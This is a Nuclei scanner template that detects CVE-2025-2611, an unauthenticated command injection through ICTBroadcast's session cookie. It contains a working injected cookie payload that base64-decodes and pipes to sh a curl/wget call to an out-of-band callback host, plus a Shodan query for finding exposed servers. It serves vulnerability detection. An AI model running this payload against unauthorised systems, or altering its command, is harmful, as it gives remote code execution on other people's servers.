ICTBroadcast - Command Injection

id: CVE-2025-2611

info:
  name: ICTBroadcast - Command Injection
  author: Chocapikk
  severity: critical
  description: |
    The ICTBroadcast application unsafely passes session cookie data to shell processing, allowing an attacker to inject shell commands into a session cookie that get executed on the server. This results in unauthenticated remote code execution in the session handling. Versions 7.4 and below are known to be vulnerable.
  impact: |
    Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full server compromise.
  remediation: |
    Update to a version later than 7.4 or the latest available version.
  reference:
    - https://www.vulncheck.com/blog/ictbroadcast-kev
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2611
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-2611
    epss-score: 0.05991
    epss-percentile: 0.92504
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"ICTBroadcast"
  tags: cve,cve2025,rce,ictbroadcast,oast,oob,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: header
        words:
          - "Set-Cookie:"
        internal: true

    extractors:
      - type: regex
        name: cookie_name
        part: header
        group: 1
        regex:
          - '(?mi)^Set-Cookie:\s*([A-Za-z0-9_-]+)='
        internal: true

  - raw:
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{cookie_name}}={{cookie_payload}}

    disable-cookie: true

    payloads:
      cookie_payload:
        - "`echo${IFS}{{base64('curl -s {{interactsh-url}} || wget -qO- {{interactsh-url}}')}}|base64${IFS}-d|sh`"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "ICTBroadcast")'
          - 'contains(interactsh_protocol, "dns")'
        condition: and
# digest: 4a0a0047304502205727c71a0f36ce7d9381361bb0c85144da5ea6dcef08be42f062cae3e236e9a902210089fb3c8288581341c90f7a002950758c75ed9fd3435714d5667650944125cd7d:922c64590222798bb761d5b6d8e72950